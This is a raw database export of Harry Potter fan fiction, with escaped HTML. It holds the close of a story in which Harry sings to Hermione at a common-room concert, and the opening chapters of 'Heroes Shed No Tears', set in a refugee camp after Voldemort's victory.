prefects&#8217; meetings, like you did yesterday. Pity for you\nhe&#8217;ll never return any of your affections.&#8221; Draco Malfoy turned his steely gaze\naway from Hermione, preferring to direct his attention to the wand he was\ntwirling in his fingertips.</p>\n\n<p class="MsoNormal">&#8220;Malfoy,\nif you don&#8217;t give me one good reason why you&#8217;re bothering me right now, I&#8217;ll-&#8221;</p>\n\n<p class="MsoNormal">&#8220;Just keep\nyour knickers on, Granger. I was getting to that.&#8221; As Hermione blushed at his\nlast remark, he held up his wand to examine it and continued speaking, this\ntime with an exaggerated pity in his voice. &#8220;The reason I&#8217;m talking to you is\nthat I just don&#8217;t want to see you get hurt by that git. Idiot that he is, he\ndoes know how to spot excellently endowed purebloods. Let&#8217;s see, Parvati Patil,\nFleur Delacour, Cho Chang &#8211; you&#8217;ve got to hand him to him, Potter does have\ngood taste. And he&#8217;ll never see you, Granger, as more than some plain-Jane\nMudblood he can use to do his homework for him.&#8221;</p>\n\n<p class="MsoNormal">Hermione&#8217;s\nrage had been steadily building throughout Draco&#8217;s speech, but with this last\nfinal jab at her pride, it all disintegrated. Most of Hermione&#8217;s interaction\nwith Harry, ever since that encounter with a troll in their first year, was\neither to help him with his homework or to save his arse on yet another\nadventure. Maybe, as much as it hurt to admit it, Draco was right for once &#8211;\nHarry really was only using her. She ran from the library, her book abandoned,\nas the tears started flowing freely.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*****</p>\n\n<p class="MsoNormal">Parvati\nPatil moaned while Dean Thomas traced butterfly kisses down her neck as they\nstood on the staircase leading to the girls&#8217; dormitories. &#8220;Do you want to move\nthis into my room?&#8221; she whispered seductively into his ear before lightly\nnipping on the lobe.</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s&#8211;&#8221;</p>\n\n<p class="MsoNormal"><i>Whoosh!</i> They barely had time to look up\nbefore a sobbing blur of tangled brown hair and black robes flew past them into\nthe seventh years&#8217; room, slamming the door behind it.</p>\n\n<p class="MsoNormal">&#8220;Was that\nHermione?&#8221; Dean asked, concern removing all traces of the passion that\npreviously filled his voice.</p>\n\n<p class="MsoNormal">&#8220;C&#8217;mon,&#8221;\nParvati replied, grabbing his arm as she started down the stairs. &#8220;We&#8217;ve got to\nfind Harry and Ron. They&#8217;ll know how to handle this.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*****</p>\n\n<p class="MsoNormal">Harry\nPotter sat on his bed in the seventh year boys&#8217; dorm, trying to concentrate on\nhis copy of <i>Quidditch Through the Ages</i>, but his attention kept wandering\nto where his best friend Ron Weasley and Ron&#8217;s sister Ginny were cleaning up\nthe remains of an Exploding Snap game on the floor in front of him. For some\nreason, it kept irking him how, during the game, Lavender Brown had been so\ncomfortably seated in Seamus Finnigan&#8217;s lap. And it didn&#8217;t help that Lavender\nand Seamus had just left to go &#8220;somewhere more private,&#8221; presumably the Astronomy\nTower or a convenient broom closet. <i>If only I could have something like that</i>,\nhe thought, <i>but she&#8217;d never see me in that way. What have I done to deserve\nit? I&#8217;m lucky enough just to have her, or anyone for that matter, as a friend.</i></p>\n\n<p class="MsoNormal">He was\nabruptly brought out of his reverie, however, when the door to the room swung\nopen to reveal a panting Parvati dragging an equally winded Dean behind her.</p>\n\n<p class="MsoNormal">&#8220;Harry,\nRon,&#8221; she started, taking deep breaths between words, &#8220;thank Merlin you&#8217;re\nhere!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Wh- Is\nsomething wrong?&#8221; Ron asked, slightly confused.</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nHermione,&#8221; answered Dean. &#8220;She ran by crying just now and locked herself in her\nroom.&#8221;</p>\n\n<p class="MsoNormal">Upon\nhearing Hermione&#8217;s name, Harry had jumped off the bed, his book forgotten.\n&#8220;I&#8217;ve got to get to her,&#8221; he yelled as he started for the door, but he felt\nhimself pulled back by a gentle hand on his shoulder.</p>\n\n<p class="MsoNormal">&#8220;Wait a\nsecond before you go,&#8221; said Ron, turning Harry away from the door. &#8220;Trust me,\nyou&#8217;ll just make it worse if you suddenly barge in.&#8221;</p>\n\n<p class="MsoNormal">&#8220;In your\ncase, maybe,&#8221; mumbled Harry as he tried to break away. &#8220;But she might need a\nfriend right now!&#8221;</p>\n\n<p class="MsoNormal">&#8220;And\nyou&#8217;ll just make her even more upset, with the state you&#8217;re in,&#8221; Ginny said.\n&#8220;Besides, we don&#8217;t even know what happened yet.&#8221;</p>\n\n<p class="MsoNormal">&#8220;All right\nthen,&#8221; Harry said as he resignedly sat back down on his bed. &#8220;Parvati, is there\nanything you can tell us?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well,&#8221;\nstarted Parvati, &#8220;she was mumbling something about Malfoy&#8211;&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going\nto hex that git into next week!&#8221; Ron roared as he now made a break for the\ndoor.</p>\n\n<p class="MsoNormal">&#8220;Not right\nnow, you won&#8217;t!&#8221; Ginny countered as Dean restrained him. &#8220;Let Parvati finish\nspeaking first.&#8221;</p>\n\n<p class="MsoNormal">&#8220;&#8211;and\nsomething about Harry as well, but I couldn&#8217;t really tell&#8211;&#8221;</p>\n\n<p class="MsoNormal">&#8220;It was\nabout Harry never noticing something,&#8221; finished Dean.</p>\n\n<p class="MsoNormal">Harry\nshook his head. &#8220;I have no idea what she could be talking about.&#8221;</p>\n\n<p class="MsoNormal">&#8220;I do.&#8221;</p>\n\n<p class="MsoNormal">Everyone\nsuddenly turned to stare at Ginny as she continued speaking. &#8220;Harry,&#8221; she\nasked, &#8220;do you like Hermione?&#8221;</p>\n\n<p class="MsoNormal">He blushed\nas he quickly replied, &#8220;Well, of course I do! She&#8217;s my best friend.&#8221;</p>\n\n<p class="MsoNormal">Ginny just\nsmiled and nodded. &#8220;Not that kind of like, Harry.&#8221;</p>\n\n<p class="MsoNormal">Harry just\nhung his head and turned even redder as Ron exclaimed, &#8220;I knew it!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Okay, so\nnow we&#8217;ve got Harry&#8217;s problems all figured out,&#8221; said Dean, &#8220;but how does this\nhelp us with Hermione?&#8221;</p>\n\n<p class="MsoNormal">As if in\nresponse, Harry smiled as he whispered something to himself.</p>\n\n<p class="MsoNormal">&#8220;What did\nyou say, Harry?&#8221; asked Ginny.</p>\n\n<p class="MsoNormal">&#8220;She likes\nme,&#8221; he replied simply as he looked up. Then his smile turned to a frown. &#8220;But\nshe thinks I don&#8217;t like her.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Then\nyou&#8217;ve got to go talk to her, Harry,&#8221; said Ginny.</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nright,&#8221; added Ron. &#8220;Now that we&#8217;ve knocked some sense into your head, you need\nto knock some into hers.&#8221;</p>\n\n<p class="MsoNormal">Harry\nchuckled as he walked to the door. Just as he was about to step through, he\nturned and looked back into the room. Ron was smiling at him and shaking his\nhead, Ginny was telling Ron off for his last comment, and Parvati was\nattempting to explain what had just happened to Dean, who was still confused.\nHe cleared his throat to get their attention, then said &#8220;Thanks, guys.&#8221;</p>\n\n<p class="MsoNormal">Ron\ngrinned. &#8220;Glad to be of service,&#8221; he said, &#8220;but you need to hurry up. You&#8217;ve\ngot a girl waiting for you!&#8221;</p>\n\n<p class="MsoNormal"><i>I just\nhope she really is</i>,\nHarry thought as he closed the door behind him and the butterflies in his\nstomach began to dance.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*****</p>\n\n<p class="MsoNormal">After what\nseemed like an eternity, Harry found himself in front of the door to the\nseventh year girls&#8217; dorm. He stood for a moment, staring at the door as if\ndebating whether to just give up now and go, then raised his hand and knocked.</p>\n\n<p class="MsoNormal">&#8220;Hermione,\nit&#8217;s Harry. Can I&#8211;&#8221;</p>\n\n<p class="MsoNormal">&#8220;Leave me\nalone, Harry!&#8221; came an angry voice from the other side that was definitely\nHermione&#8217;s.</p>\n\n<p class="MsoNormal">&#8220;But I\nreally would like to&#8211;&#8221;</p>\n\n<p class="MsoNormal">&#8220;I said\nLEAVE! I never want to see or talk to you again!&#8221; This was followed by a loud\nsob.</p>\n\n<p class="MsoNormal">&#8220;As you\nwish,&#8221; Harry said as he turned and walked back down the stairs. He never looked\nback to see the door open, a blotchy face peer out with a bewildered\nexpression, then disappear behind the door as it clicked shut again.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*****</p>\n\n<p class="MsoNormal">All eyes\nturned expectantly to Harry as he reentered the boys&#8217; room.</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve lost\nher,&#8221; was all that he said as he dropped to the floor and leaned against the\ndoor.</p>\n\n<p class="MsoNormal">&#8220;Why do\nyou say that?&#8221; asked Ginny concernedly. &#8220;What did she say?&#8221;</p>\n\n<p class="MsoNormal">&#8220;She\nwouldn&#8217;t see me.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well,\nthen I guess it&#8217;s time for Plan B!&#8221; announced Ron. Everyone now turned to stare\nat him as if he were crazy. &#8220;Well, if Hermione won&#8217;t let Harry in,&#8221; he\ncontinued, &#8220;then we&#8217;ve got to draw her out. But how?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Maybe we\ncan lob some Dungbombs through the window and have her run out into Harry&#8217;s\narms,&#8221; suggested Dean.</p>\n\n<p class="MsoNormal">&#8220;Dean!&#8221;\nParvati cried, her face contorted in rage. &#8220;That&#8217;s my room, too!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well,\nthen we won&#8217;t do that,&#8221; said Ginny. &#8220;Maybe you can send her an Owl, Harry.\nShe&#8217;ll have to let Hedwig in.&#8221;</p>\n\n<p class="MsoNormal">Ron\nsuddenly asked, &#8220;Harry, you can sing, right?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well,\nyeah, I guess a little bit&#8211;&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve\nheard him in the shower,&#8221; added Dean. &#8220;You&#8217;re good enough to be on the\nWizarding Wireless, Harry!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well, if\nyou say so, then I can sing. But why?&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\ngetting to that. Dean, didn&#8217;t you take piano lessons before coming here?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nbut&#8211;&#8221;</p>\n\n<p class="MsoNormal">&#8220;Excellent.\nGinny, I know you&#8217;re good at Transfiguration, so you can get us a piano. And\nBill taught me how to play the guitar last summer, so that should be all the\ninstruments we need. Parvati, can you get together a wardrobe?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well, of\ncourse I can,&#8221; answered Parvati as she giggled. &#8220;I only read every issue of\nWitch Weekly from cover to cover! But you still haven&#8217;t told us what for, Ron.&#8221;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re\ngoing to put on a show! If she&#8217;s not intrigued by what she hears, then at least\nHermione will have to perform her Head Girl duties of hushing us up.&#8221;</p>\n\n<p class="MsoNormal">&#8220;You mean,\nI&#8217;m going to have to sing in front of all of Hogwarts?&#8221; asked Harry nervously.</p>\n\n<p class="MsoNormal">&#8220;No, just\nthe common room. C&#8217;mon, it&#8217;ll be fun!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Ron, I do\nhope you realize that this is not going to become a regular occurrence,&#8221; said\nDean in a grumpy tone of voice. &#8220;We&#8217;re only doing this for Harry&#8217;s sake.&#8221;</p>\n\n<p class="MsoNormal">&#8220;I know, I\nknow. At least you guys aren&#8217;t running away like chickens with their heads cut\noff. Now, we just need to figure out what to perform...&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*****</p>\n\n<p class="MsoNormal">In all the\nyears since the founding of Hogwarts, the Gryffindor common room had never seen\nsuch a scene. Its tables and squashy armchairs had all been transfigured into\nfolding chairs, which were lined up in rows parallel to one of the walls and\nfilled with giggling girls and curious boys. A huge stage had been erected next\nto the opposite wall, directly in the line of sight from the foot of the stairs\nto the girls&#8217; dorms. Spotlights from nowhere in particular shone down onto the\nstage at three points: an elegant grand piano, a floating Muggle electric\nguitar, and a microphone on a stand by itself.</p>\n\n<p class="MsoNormal">A hush\nfell over the gathered audience as Ginny, resplendent in deep purple dress\nrobes that clung in all the right places, stepped up and took the microphone.</p>\n\n<p class="MsoNormal">&#8220;Ladies\nand gentleman,&#8221; she announced in a voice magically amplified to fill the entire\nroom and hopefully float upstairs, &#8220;now, the band you&#8217;ve all been waiting\nfor...the Gryffindor Boys!&#8221;</p>\n\n<p class="MsoNormal">The\naudience cheered while Dean, Ron, and finally Harry stepped onto the stage. As\nDean seated himself at the piano and Ron removed the charm on his guitar, Harry\ntook the microphone and began to speak.</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d like\nto thank you all for coming tonight to see us&#8211;&#8221;</p>\n\n<p class="MsoNormal">Harry\npaused as the audience cheered again, this time with some of the girls swooning\nover how handsome the three boys, dressed in their finest robes, looked on the\nstage.</p>\n\n<p class="MsoNormal">&#8220;&#8211;and I&#8217;d\nlike to dedicate the song we&#8217;re going to perform to someone who&#8217;s not. She&#8217;s my\nbest friend, but she&#8217;s not too happy with me right now. I do hope she&#8217;s\nlistening; this is something I should have told her a long time ago. Anyways,\non with the song...&#8221;</p>\n\n<p class="MsoNormal">Dean took\nthis as his cue to start playing. The sweet melody echoed around the room,\ncomplemented well every now and then by Ron&#8217;s chords. Then Harry began to\nsing...</p>\n\n<p class="MsoNormal"><i>It&#8217;s a\nlittle bit funny this feeling inside</i></p>\n\n<p class="MsoNormal"><i>I&#8217;m not\none of those who can easily hide</i></p>\n\n<p class="MsoNormal"><i>I don&#8217;t\nhave much money but boy if I did</i></p>\n\n<p class="MsoNormal"><i>I&#8217;d buy\na big house where we both could live</i></p>\n\n<p class="MsoNormal"><i>If I\nwas a sculptor, but then again, no</i></p>\n\n<p class="MsoNormal"><i>Or a\nman who makes potions in a traveling show</i></p>\n\n<p class="MsoNormal"><i>I know\nit&#8217;s not much but it&#8217;s the best I can do</i></p>\n\n<p class="MsoNormal"><i>My gift\nis my song and this one&#8217;s for you</i></p>\n\n<p class="MsoNormal">Hermione\nstood a few steps up from the front of the stairs, where she could clearly hear\nthe concert without being seen. She had heard a racket coming from the common\nroom earlier, but just didn&#8217;t care enough to get up and stop it. It wasn&#8217;t\nworth it anymore, especially when her whole life had been a lie. Even when she\nheard Ginny announce the concert, she just couldn&#8217;t muster the strength to\nperform her duties as Head Girl. <i>Oh, McGonagall will have my head for this\nif she finds out</i>, she had thought at the time.</p>\n\n<p class="MsoNormal">But then\nshe had heard Harry&#8217;s voice and, wonder beyond wonder, it was calling to her,\nsaying she was his friend, wanting her to come out and listen. <i>Well, I\ndidn&#8217;t come out the first time, and I don&#8217;t have to show myself, so I might as\nwell</i>, she had thought. <i>Listening never hurt anyone, even if actions do.</i></p>\n\n<p class="MsoNormal">And then\nHarry had started to sing...</p>\n\n<p class="MsoNormal"><i>And you\ncan tell everybody this is your song</i></p>\n\n<p class="MsoNormal"><i>It may\nbe quite simple but now that it&#8217;s done</i></p>\n\n<p class="MsoNormal"><i>I hope\nyou don&#8217;t mind</i></p>\n\n<p class="MsoNormal"><i>I hope\nyou don&#8217;t mind that I put down in words</i></p>\n\n<p class="MsoNormal"><i>How\nwonderful life is while you&#8217;re in the world</i></p>\n\n<p class="MsoNormal"><i>I sat\non the roof and kicked off the moss</i></p>\n\n<p class="MsoNormal"><i>Well a\nfew of the verses well they&#8217;ve got me quite cross</i></p>\n\n<p class="MsoNormal"><i>But the\nsun&#8217;s been quite kind while I wrote this song</i></p>\n\n<p class="MsoNormal"><i>It&#8217;s\nfor people like you that keep it turned on</i></p>\n\n<p class="MsoNormal"><i>So\nexcuse me forgetting but these things I do</i></p>\n\n<p class="MsoNormal"><i>You see\nI&#8217;ve forgotten if they&#8217;re green or they&#8217;re blue</i></p>\n\n<p class="MsoNormal"><i>Anyway\nthe thing is what I really mean</i></p>\n\n<p class="MsoNormal"><i>Yours\nare the sweetest eyes I&#8217;ve ever seen</i></p>\n\n<p class="MsoNormal">&#8220;They&#8217;re\nbrown.&#8221;</p>\n\n<p class="MsoNormal">The music\nsuddenly stopped as everyone turned to stare at the source of this outburst,\nthe foot of the stairs to the girls&#8217; dorms. There she stood, the girl who the\nsong was for, her bushy hair in complete disarray and her eyes still red and\npuffy from crying.</p>\n\n<p class="MsoNormal">&#8220;Hermione,&#8221;\nHarry said, almost whispering but unable to keep his joy at seeing her from his\nvoice. &#8220;You came.&#8221;</p>\n\n<p class="MsoNormal">&#8220;You\nforgot what color my eyes are.&#8221;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\njust how the song goes. I would never forget that.&#8221;</p>\n\n<p class="MsoNormal">Hermione,\nalong with several of the audience members, gasped as the full meaning of what\nHarry had just said sunk in. &#8220;Do you mean it?&#8221; she asked.</p>\n\n<p class="MsoNormal">&#8220;Yes,&#8221;\nHarry answered, refusing to take his eyes away from her.</p>\n\n<p class="MsoNormal">&#8220;All of\nit?&#8221;</p>\n\n<p class="MsoNormal">Harry\nsmiled. &#8220;Well, not the part about making potions, but...&#8221; He paused for a\nmoment, considering how best to put what he had to say. &#8220;Hermione, I love you.&#8221;</p>\n\n<p class="MsoNormal">The\naudience went crazy as Hermione ran to Harry, who pulled her up onto the stage\nand swung her around before gathering her into his arms.</p>\n\n<p class="MsoNormal">&#8220;I love\nyou, too, Harry,&#8221; Hermione yelled above the din of the crowd, which just caused\nit to get even louder. &#8220;But I think you need to finish your song, dear.&#8221;</p>\n\n<p class="MsoNormal">&#8220;See you\nafter the show?&#8221; he asked, a mischievous glint appearing in his eye.</p>\n\n<p class="MsoNormal">&#8220;You bet,&#8221;\nshe answered as he helped her off the stage and the music began again...</p>\n\n<p class="MsoNormal"><i>And you\ncan tell everybody this is your song</i></p>\n\n<p class="MsoNormal"><i>It may\nbe quite simple but now that it&#8217;s done</i></p>\n\n<p><i>I hope you don&#8217;t mind</i></p>\n\n<p class="MsoNormal"><i>I hope\nyou don&#8217;t mind that I put down in words</i></p>\n\n<p class="MsoNormal"><i>How\nwonderful life is while you&#8217;re in the world</i></p>\n\n<p class="MsoNormal"><i>I hope\nyou don&#8217;t mind</i></p>\n\n<p class="MsoNormal"><i>I hope\nyou don&#8217;t mind that I put down in words</i></p>\n\n<p class="MsoNormal"><i>How\nwonderful life is while you&#8217;re in the world</i></p>\n\n\n\n\n\n\n'),
	(99, 1, '\n<b>Heroes Shed No Tears<br>\nPart I &#8211; Prologue<br></b><br>\n<i>By: VirtualFaerie</i>\n<br><br>\n&#8220;Why are you crying? Stop crying,&#8221; a pale, blond boy, with dark grey eyes, said to the red-headed little girl who was sitting on the swing, with tears streaming down her face.\n<br><br>\n&#8220;My brother&#8217;s won&#8217;t play with me,&#8221; she said shakily, looking up at the boy hesitantly.\n<br><br>\n&#8220;Oh,&#8221; he said softly, then notice the tears were still flowing down her face, &#8220;Please stop crying.&#8221;\n<br><br>\n&#8220;I can&#8217;t,&#8221; she said.\n<br><br>\n&#8220;What are you doing here son? We have better things to do,&#8221; the man looked down at the girl, &#8220;And better people to associate with. Come now.&#8221;\n<br><br>\nThe boy bowed his head, &#8220;Yes father,&#8221; he said following the man quietly. They stopped not far away.\n<br><br>\n&#8220;What are you wearing boy? Didn&#8217;t I tell you not to take that again? It doesn&#8217;t belong to you and it does you a disgrace!&#8221; The man reached down towards the boy&#8217;s neck and yanked off a silver chain. The boy cried out. The man scowled at him and said, &#8220;Remember son, crying gets you no where.&#8221; The boy nodded slowly and the man threw the silver chain, which the girl had just noticed had a silver dragon pendant hanging on it.\n<br><br>\n&#8220;You are becoming a disgrace to me boy! You better shape up before it&#8217;s time for you to go to school.&#8221; He said coldly.\n<br><br>\n&#8220;Yes father,&#8221; he said subdued. \n<br><br>\nThe silver chain bounced on the ground near her and she watched it silently. As soon as she was sure that the man and the boy had left she got off her swing, drying her tears, and picked up the necklace clasping it on her neck.\n<br><br>\nA red-headed boy walked up to her, &#8220;What&#8217;s that you have there Ginny?&#8221;\n<br><br>\nShe looked at him worriedly and said quickly, &#8220;It&#8217;s nothing.&#8221;\n<br><br>\nThe boy rolled his eyes, &#8220;Hey! Fred! George! Wait for me!&#8221; he shouted, running off to follow more red-headed boys around the park.\n<br><br>\nShe watched him go and fingered the dragon pendant, wondering if she&#8217;d ever see the blond headed boy again.\n<br><br><br><br>\n'),
	(99, 2, '\n<br><br>\n<b>Disclaimer:</b> I own nothing except, Haven and the plot.\n<br><br>\n\n<b>A/N:</b> I promise that there&#8217;s a plot, you just have to watch. It all starts with little Haven.\n<br><br>\n<br><br>\n<center>\n<b><u>Heroes Shed No Tears</u><br>\nPart II &#8211; A Welcome Haven</b><br>\n<i>By VirtualFaerie</i>\n</center>\n<br><br>\n<br><br>\n<br><br>\n\nShe walked along the dusty road, peering at the canvas tents as she went by. There were old men and women sitting outside of them looking at her sadly. She continued down and saw small children playing in the dirt, covered from head to foot in white dust and grimy mud. Mothers were cooking over fires and fathers weren&#8217;t even present at the camp. They couldn&#8217;t be there no matter how much they wanted to.\n<br><br>\n\n	She reached the water pump and retied her hair back in its kerchief, then filled her bucket with water to take back to her tent. Going back the same way that she came she walked inside of the tent that she shared with her mother and two wounded brothers. Her mother was sitting at a makeshift wooden table, silent and not doing anything. Her brothers were lying on their beds staring up at the canvas ceiling. She set the bucket down and got out a bowl and filled it with some of the water. She went to each of her brother&#8217;s beds and cleaned them with the water.\n<br><br>\n\n	There wasn&#8217;t much that she could do anymore. She used to be a prominent healer, but now people didn&#8217;t want to be healed, they wanted to die so they wouldn&#8217;t have to keep living the life that had fallen to them. It took all the strength that she had left to keep her brothers alive, it had been a long time since her father died, and she could do nothing for her mother. Her mother had fallen into a pit of despair and never came out of her dream-like state.\n<br><br>\n\n	&#8220;Ginny&#8230;&#8221; one of her brothers croaked.\n<br><br>\n\n	She turned to look at him, &#8220;Yes?&#8221;\n<br><br>\n\n	&#8220;Where&#8217;s Hermione?&#8221; Ginny looked sadly at her brother Ron. There was nothing that he could do for Hermione anymore. They had loved each other but there hadn&#8217;t been time for a marriage after they got out of Hogwarts. Ron had joined the war effort with Harry to defeat Voldemort. But things hadn&#8217;t actually turned out the way they thought they would. The death eaters and Voldemort won. Now most of the wizarding population, minus the death eaters, were living in refugee camps, or ruined cities.\n<br><br>\n\n	It took all of the strength of the remaining aurors and ministry officials to cast the invisibility charms over all of the camps to keep them from muggle eyes. There was nothing to be done now, it was either live in misery or become a dark supporter. The Weasley family would never go to the dark side; therefore they remained at the godforsaken camp.\n<br><br>\n\n	&#8220;Ron, you know Hermione is researching at Hogwarts,&#8221; Ginny said quietly. In reality Ginny didn&#8217;t even know if Hogwarts was still standing. The death eaters were catching owls in mid-air and there was no way for them to communicate anymore.\n<br><br>\n\n	&#8220;What about Harry?&#8221;\n<br><br>\n\n	&#8220;I don&#8217;t know Ron, there&#8217;s no way of knowing where anyone is.&#8221; Her throat felt like it had a lump in it. She was restraining tears because she knew where none of her family was, besides her mother, Ron and Percy, who were with her. &#8220;Please don&#8217;t ask me any more,&#8221; she said hoarsely as she reached up to hold onto the silver dragon pendant that was hanging around her neck. It was the only piece of jewelry she had. \n<br><br>\n\n	Ron fell silent and Ginny walked out of the tent and sat outside. There was dust blowing in the wind giving everything a rusty colored tinge. Ginny didn&#8217;t know where Harry was, or her other brothers. Sometimes she thought that it was better that way, to wonder and not know the truth. The truth could be far more terrible than she ever imagined.\n<br><br>\n\n	Some say that Harry disappeared after the final show down with Voldemort, that he never died; he escaped and was waiting to get stronger before he would try to take him on again. Others say he died and all hope was lost. Most people thought there was nothing to live for now that the New Ministry was building its power with Voldemort at its head.\n<br><br>\n\n	Ginny sighed and looked up just in time to see a small blond headed boy limping her way. She hadn&#8217;t seen him before in the camp. The boy had tears trickling down his cheeks, and he was clutching a small brown teddy bear to his side; the bear was missing an eye and an arm. Just from looking at him Ginny could feel the tears welling up in her eyes for him. She knew that she should take him in, seeing no parents. But there was little food in the camp to begin with. One more boy was going to keep them all starved. She shook her head; it was no use thinking like that. It was selfish.\n<br><br>\n\n	She got up and walked over to the small boy and stopped in front of him. He looked up at her with big liquid grey eyes and shook as if he was scared. She knelt before him. &#8220;What&#8217;s your name?&#8221; she asked gently.\n<br><br>\n\n	The little boy&#8217;s lower lip trembled and he held his teddy closer, &#8220;H-Haven.&#8221; Ginny smiled how perfect his name was. Haven, maybe he would bring them luck. His robes caught her eye. They weren&#8217;t the cheap kind that every other refugee was clad in. They were merely very filthy expensive robes. Not only were they quality robes, but they were black. The refugees wore butternut colored robes because there wasn&#8217;t enough money for dye anymore.\n<br><br>\n\n	&#8220;Where is your mommy? Your daddy?&#8221; Ginny asked, her curiosity growing.\n<br><br>\n\n	&#8220;I don&#8217;t have a mommy,&#8221; Haven said softly. &#8220;My daddy said that I would be safe here.&#8221; He looked up at her, his eyes pleading.\n<br><br>\n\n	&#8220;How old are you?&#8221; Ginny said, inclining her head.\n<br><br>\n\n	&#8220;Seven,&#8221; he said, taking a step closer to her. The wind blew his slightly longer than normal hair around his face, and his large grey eyes were warm yet calculating. Ginny could tell that he was trying to decide if she was safe or not.\n<br><br>\n\n	Ginny held her arms out to Haven, and he looked at her hesitantly before stepping into them. She hugged the small boy to her, trying to reassure him and herself that everything was going to be alright. Haven wrapped his arms around her neck and held on tightly. Ginny smoothed his hair with her fingers and whispered into his hair, &#8220;I&#8217;ll take good care of you.&#8221;\n<br><br>\n\n	Haven stepped back and looked at her happily, smiling a half-smiled. &#8220;Thank you.&#8221;\n<br><br>\n\n	Ginny shook her head, &#8220;It&#8217;s nothing. Now let&#8217;s get you inside and cleaned up. We need to see what we can do about that limp.&#8221;\n<br><br>\n\n	Looking at his leg he announced, &#8220;I fell. My daddy was trying to save me from a mean wizard and I hurted my leg.&#8221; The little leg had ripped robes hanging around it, and was covered with dried mud. Ginny smiled and thought of how cute the little boy was. She walked him inside of the tent to clean him off.\n<br><br>\n\n	A man standing out of sight, in black robes, content with what he saw, disappeared.\n\n<br><br>\n<br><br>\n\nInside the tent, Ginny was wiping Haven down with a washcloth. He had little cuts all over his body and it made her eyes well up with tears to see them. The poor boy had probably been through more than he should have. All of the kids still alive had been thought more than they should have. They had lost their happy childhood. It had been ripped away from them and they would never know what might have been, or what true happiness was. But maybe it was better for them to not know, to think that this was as good as it got. They didn&#8217;t need to know there was better and that they were missing the best years of their life in refugee camps that held no promise.\n<br><br>\n\n	Haven stood still, and looked at Ginny&#8217;s brothers, who were lying on their beds watching the small boy. Ron had sort of scowl on his face and Percy was smiling slightly. For once Molly wasn&#8217;t sitting doing nothing. She was also watching the boy with rapt attention. There was something about the boy that demanded attention. But Molly also had a soft look in her eye as if she was remembering something. The corners of her mouth were upturned slightly, and her face was glazed over happily.\n<br><br>\n\n	&#8220;Mum?&#8221; Ginny asked. &#8220;Are you alright?&#8221;\n<br><br>\n\n	Molly smiled at Ginny, &#8220;Just fine dear. I&#8217;m feeling better.&#8221; Ginny&#8217;s eyebrows shot up. Her mother had been in a depression for the past month ever since she had found out that Arthur died and had heard no word from her other sons. &#8220;Just fine, now can you tell me about this little boy here?&#8221;\n<br><br>\n\n	&#8220;Uh-His name is Haven. I found him. He said his father said that he would be safe here,&#8221; Ginny said, rubbing Haven down with a towel before slipping a clean robe over his head.\n<br><br>\n\n	&#8220;He&#8217;s such a cute boy, and what an inspiring name,&#8221; Molly said looking at the boy with a mother-like love in her eyes. Ginny knew that having Haven around was going to improve her mother&#8217;s condition, but Ginny felt like for some reason that she had a special bond with Haven. She didn&#8217;t know what it was but she felt like Haven was hers; like her own son. She was old enough to have one. Maybe not one that was seven years old but still, she felt like she should be his mother. He needed one now that he didn&#8217;t have his father anymore. Or at least she thought he didn&#8217;t have his father anymore.\n<br><br>\n\n	&#8220;Haven?&#8221; Ginny started. &#8220;Is your dad coming back for you?&#8221;\n<br><br>\nv\n	Haven heaved his small shoulders and sighed, &#8220;I don&#8217;t know. He said that he would come back.&#8221; He held onto his teddy bear then peered back up at her curiously. &#8220;What&#8217;s your name?&#8221;\n<br><br>\n\n	Ginny grinned, &#8220;I&#8217;m Ginny.&#8221;\n<br><br>\n\n	&#8220;Hi, Ginny,&#8221; Haven said shyly.\n<br><br>\n\n	&#8220;Do you want me to take you to meet the other kids?&#8221; Ginny asked looking through a basket to see if there were any old shoes in it that would fit Haven. His were tattered and worn. She found some old shoes of Ron&#8217;s and handed them to him, &#8220;Put those on.&#8221;\n<br><br>\n\n	Haven sat down on the floor and pulled the shoes on slowly, tying the laces carefully. His soft hair fell into his eyes and he blew them out of the way. He finished and looked back up at Ginny, &#8220;They&#8217;re coming here you know.&#8221;\n<br><br>\n\n	Ginny&#8217;s brows furrowed, &#8220;Who?&#8221;\n<br><br>\n\n	&#8220;The New Ministry, my daddy told me,&#8221; Haven said, getting up off of the ground. &#8220;He said that a man named Zabini was going to be the official guy around here to do stuff.&#8221; \n<br><br>\n\n	Ginny frowned, &#8220;What kind of stuff?&#8221;\n<br><br>\n\n	Haven shrugged, &#8220;My dad said something about making sure people didn&#8217;t get too much food. He also said some stuff about Resistance, but I don&#8217;t know what that is.&#8221; He kicked a clod of dirt and looked back up at Ginny expectantly. But Ginny was looking at Ron with wide eyes.\n<br><br>\n\n	&#8220;Ron,&#8221; she said, a lump growing in her throat, a lump of fear. \n<br><br>\n\n	&#8220;I heard,&#8221; he said from his bed. &#8220;They won&#8217;t do anything to us though. I don&#8217;t think. They just want support.&#8221;\n<br><br>\n\n	Ginny sighed and sank down into one of the rickety wooden chairs. She pushed some of her hair out of her face and looked down at the ground. She was one of the youngest healthy people in the camp, it was hard on the people living there, and it was going to be even harder with the New Ministry officials policing them. How was anyone supposed to eat now? There was hardly enough food as it was, but now that they were going to be there, there would be even less food.\n<br><br>\n\n	